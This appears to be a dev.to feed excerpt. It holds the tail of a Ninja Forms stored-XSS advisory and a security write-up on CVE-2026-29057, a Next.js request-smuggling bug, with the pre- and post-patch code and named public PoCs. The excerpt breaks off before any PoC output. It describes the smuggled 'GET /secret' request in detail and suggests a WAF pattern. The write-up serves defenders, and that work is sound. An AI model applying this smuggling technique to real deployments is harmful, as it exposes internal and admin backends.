&lt;strong&gt;Node 2 (neutral gray accent bar):&lt;/strong&gt; "Stored in DB." Value lands in the submissions table unchanged; small side note flags "esc_textarea() missing" in &lt;code&gt;Textarea.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node 3 (orange accent bar):&lt;/strong&gt; "Admin opens Submissions." Browser-window icon; small code badge calls out &lt;code&gt;html_entity_decode()&lt;/code&gt; followed by an unescaped &lt;code&gt;echo&lt;/code&gt; in &lt;code&gt;Submission.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node 4 (dark red accent bar):&lt;/strong&gt; "Script executes in admin context." Key icon plus an arrow pointing to an external server, representing cookie/nonce theft or a malicious REST call.&lt;/li&gt;
&lt;li&gt;Connectors 1→2→3→4 are curved, each labeled respectively "POST (unauthenticated)", "stored", "view triggers it", "executes."&lt;/li&gt;
&lt;li&gt;A green-accented footer box summarizes the fix: version 3.15.4 adds &lt;code&gt;esc_textarea()&lt;/code&gt;, which cuts the chain between step 3 and step 4.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/DGff7-yQQ_w" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The fix in 3.15.4
&lt;/h2&gt;

&lt;p&gt;Per the public changelog, the fix adds escaping at the output point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// 3.15.4+ (reconstructed)
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"widefat"&lt;/span&gt; &lt;span class="na"&gt;rows=&lt;/span&gt;&lt;span class="s"&gt;"6"&lt;/span&gt; &lt;span class="na"&gt;disabled&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;esc_textarea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$submission&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_value_for_editor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$field_id&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;esc_textarea()&lt;/code&gt; re-encodes &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, etc., so even though &lt;code&gt;html_entity_decode()&lt;/code&gt; still runs upstream, the final output step neutralizes anything dangerous. The real lesson here isn't about input filtering — it's a textbook case for contextual output encoding: escape at the point of output, not just at the point of input.&lt;/p&gt;




&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Confirm the Ninja Forms version via &lt;code&gt;wp-content/plugins/ninja-forms/readme.txt&lt;/code&gt; → &lt;code&gt;Stable tag&lt;/code&gt;; anything ≤ 3.15.3 is affected.&lt;/li&gt;
&lt;li&gt;Check whether any public-facing form has a non-RTE textarea field.&lt;/li&gt;
&lt;li&gt;Update to 3.15.4 or later — this is the only reliable fix. Until then, consider taking the affected form offline or adding a WAF rule to block submissions containing a &lt;code&gt;&amp;lt;/textarea&amp;gt;&lt;/code&gt; sequence.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-29057 — HTTP Request Smuggling via Next.js Rewrites</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 05 Oct 2026 01:28:59 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-29057-http-request-smuggling-via-nextjs-rewrites-43no</link>
      <guid>https://dev.to/guidance_white/cve-2026-29057-http-request-smuggling-via-nextjs-rewrites-43no</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Focrnmplgbqrlztke4obl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Focrnmplgbqrlztke4obl.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-29057&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;Next.js (self-hosted deployments using &lt;code&gt;rewrites()&lt;/code&gt; to proxy to an external backend)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable versions&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;gt;= 9.5.0, &amp;lt; 15.5.13&lt;/code&gt; and &lt;code&gt;&amp;gt;= 16.0.0-beta.0, &amp;lt; 16.1.7&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched versions&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;15.5.13&lt;/code&gt;, &lt;code&gt;16.1.7&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;6.3 (Moderate)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-444 (Inconsistent Interpretation of HTTP Requests — Request Smuggling)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause&lt;/td&gt;
&lt;td&gt;A logic bug in &lt;code&gt;deleteLength()&lt;/code&gt;, part of the &lt;code&gt;http-proxy&lt;/code&gt; library bundled inside Next.js&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Next.js lets you proxy specific paths to an external backend via &lt;code&gt;rewrites()&lt;/code&gt; in &lt;code&gt;next.config.js&lt;/code&gt;. Under the hood, this relies on a vendored copy of the &lt;code&gt;http-proxy&lt;/code&gt; library. When forwarding &lt;code&gt;DELETE&lt;/code&gt;/&lt;code&gt;OPTIONS&lt;/code&gt; requests, that library had a bug that made the forwarded request's headers disagree with its actual body. The result: an attacker can hide a second HTTP request inside the body of a seemingly normal request, and have it land on an unintended backend route (internal APIs, admin endpoints, etc.).&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Full Attack Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvyzmtj7iwkh7ua14uzge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvyzmtj7iwkh7ua14uzge.png" alt=" " width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The core issue is a mismatch between &lt;strong&gt;"the body length the header claims"&lt;/strong&gt; and &lt;strong&gt;"the number of bytes actually sent."&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker sends a &lt;code&gt;DELETE /rewrites/poc&lt;/code&gt; request with &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;, hiding an entire second request — &lt;code&gt;GET /secret HTTP/1.1...&lt;/code&gt; — as plain text inside the chunked body.&lt;/li&gt;
&lt;li&gt;Next.js correctly understands &lt;code&gt;Transfer-Encoding&lt;/code&gt; and decodes the body, then passes the request through an internal function called &lt;code&gt;deleteLength()&lt;/code&gt; before forwarding it to the backend.&lt;/li&gt;
&lt;li&gt;Due to a bug, that function attaches &lt;code&gt;Content-Length: 0&lt;/code&gt; and deletes the &lt;code&gt;Transfer-Encoding&lt;/code&gt; header — but the body bytes are still streamed through via &lt;code&gt;pipe()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;An intermediate proxy or load balancer sees &lt;code&gt;Content-Length: 0&lt;/code&gt; and assumes the request ends there, parsing the remaining bytes as a brand-new, independent request.&lt;/li&gt;
&lt;li&gt;The backend ends up receiving two requests: &lt;code&gt;DELETE /rewrites/poc&lt;/code&gt; and &lt;code&gt;GET /secret&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/g-2h2Ha5RYk" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Byte-Level Comparison — Vulnerable vs. Patched
&lt;/h2&gt;

&lt;p&gt;Comparing the actual bytes sent on the wire for the same input makes the problem unmistakable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0l53gjgtncw3g4tolytm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0l53gjgtncw3g4tolytm.png" alt=" " width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;vulnerable version&lt;/strong&gt; writes &lt;code&gt;content-length: 0&lt;/code&gt; in the header, then appends the raw text &lt;code&gt;GET /secret ...&lt;/code&gt; right after it. From the next hop's perspective, this can only look like "one zero-length request, followed by a separate request that happened to arrive right after."&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;patched version&lt;/strong&gt; keeps &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt; intact. Chunked encoding marks its own body boundary using chunk-size prefixes (like &lt;code&gt;2E&lt;/code&gt; in hex) and a terminating &lt;code&gt;0&lt;/code&gt; chunk, so the string &lt;code&gt;GET /secret ...&lt;/code&gt; is correctly treated as body data and never gets split into a separate request.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Source Code Analysis — The &lt;code&gt;deleteLength()&lt;/code&gt; Bug
&lt;/h2&gt;

&lt;p&gt;The real root cause sits in one function inside &lt;code&gt;http-proxy@1.18.1&lt;/code&gt;, which Next.js bundles: &lt;code&gt;lib/http-proxy/passes/web-incoming.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before the patch&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;deleteLength&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deleteLength&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DELETE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;OPTIONS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content-length&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content-length&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;transfer-encoding&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;After the patch&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;deleteLength&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deleteLength&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DELETE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;OPTIONS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content-length&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
      &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;transfer-encoding&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content-length&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In plain terms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This function exists because &lt;code&gt;DELETE&lt;/code&gt; and &lt;code&gt;OPTIONS&lt;/code&gt; requests typically have no body, so it tries to explicitly mark that with &lt;code&gt;Content-Length: 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Before the patch&lt;/strong&gt;: the only condition checked is &lt;code&gt;!req.headers['content-length']&lt;/code&gt; — "if there's no Content-Length header." But a &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt; request is &lt;em&gt;supposed&lt;/em&gt; to have no Content-Length header; that's normal. So this condition evaluates to true for chunked requests too, forcibly setting &lt;code&gt;Content-Length: 0&lt;/code&gt; and then deleting the &lt;code&gt;Transfer-Encoding&lt;/code&gt; header. &lt;strong&gt;The problem is that only the header gets removed — the chunked body data has already entered the stream and is forwarded regardless.&lt;/strong&gt; The result is a contradiction: the header says "no body," while a body is sent anyway.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;After the patch&lt;/strong&gt;: the condition now requires that &lt;em&gt;both&lt;/em&gt; Content-Length and Transfer-Encoding be absent (&lt;code&gt;typeof ... === 'undefined' &amp;amp;&amp;amp; typeof ... === 'undefined'&lt;/code&gt;). If &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt; is present, this condition is false, so the function does nothing and leaves the headers untouched. Node.js then re-encodes and sends the request with chunked framing intact, keeping the body boundary unambiguous.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's the side-by-side flow:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm1c87vuchcptax61x08q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm1c87vuchcptax61x08q.png" alt=" " width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One-line summary: &lt;strong&gt;"Content-Length is absent" and "there is no body" are not the same thing — the pre-patch code conflated them.&lt;/strong&gt; Any request using Transfer-Encoding to express its body length will naturally have no Content-Length header.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Additional Hardening — Connection Header Handling (&lt;code&gt;common.js&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;The fix didn't stop at &lt;code&gt;web-incoming.js&lt;/code&gt;. The same commit also hardens &lt;code&gt;setupOutgoing()&lt;/code&gt; in &lt;code&gt;lib/http-proxy/common.js&lt;/code&gt;, closing off a &lt;strong&gt;connection-reuse bypass&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Added logic&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hasTransferEncodingHeader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outgoing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;transfer-encoding&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;outgoing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hasTransferEncodingHeader&lt;/span&gt;
    &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;outgoing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;hopByHopTransferEncodingHeader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outgoing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;outgoing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;close&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why was this needed? Even with &lt;code&gt;deleteLength()&lt;/code&gt; fixed, if the forwarded connection stays alive via &lt;code&gt;keep-alive&lt;/code&gt;, a different flavor of desync could still occur on that same connection. So the patch forces &lt;strong&gt;&lt;code&gt;connection: close&lt;/code&gt;&lt;/strong&gt; whenever the request carries a Transfer-Encoding header, or whenever the Connection header itself names &lt;code&gt;transfer-encoding&lt;/code&gt; as a hop-by-hop token.&lt;/p&gt;

&lt;p&gt;The old code only kept the connection alive as an exception when the &lt;code&gt;Connection&lt;/code&gt; header contained an &lt;code&gt;upgrade&lt;/code&gt; token (to support WebSockets) — and that exception appears to have been exploitable via something like &lt;code&gt;Connection: Transfer-Encoding, upgrade&lt;/code&gt;. The patch reorders the checks so the Transfer-Encoding check runs first, forcing the connection closed regardless of any upgrade token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv6sxxmztw6fyy0afx1xi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv6sxxmztw6fyy0afx1xi.png" alt=" " width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The official patch ships with 5 regression tests covering these cases, each verifying that &lt;code&gt;GET /secret&lt;/code&gt; never reaches the backend.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. What the PoC Actually Shows
&lt;/h2&gt;

&lt;p&gt;Public PoCs (&lt;code&gt;learnerxuan/CVE-2026-29057-POC&lt;/code&gt;, &lt;code&gt;Nayekah/Next.js-Proof-of-Concept&lt;/code&gt;) spin up the vulnerable version (&lt;code&gt;15.5.12&lt;/code&gt;) and the patched version (&lt;code&gt;15.5.13&lt;/code&gt;) side by side in Docker Compose, using identical topology, and fire the exact same raw chunked payload directly over a socket at both.&lt;/p&gt;

&lt;p&gt;Vulnerable version output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
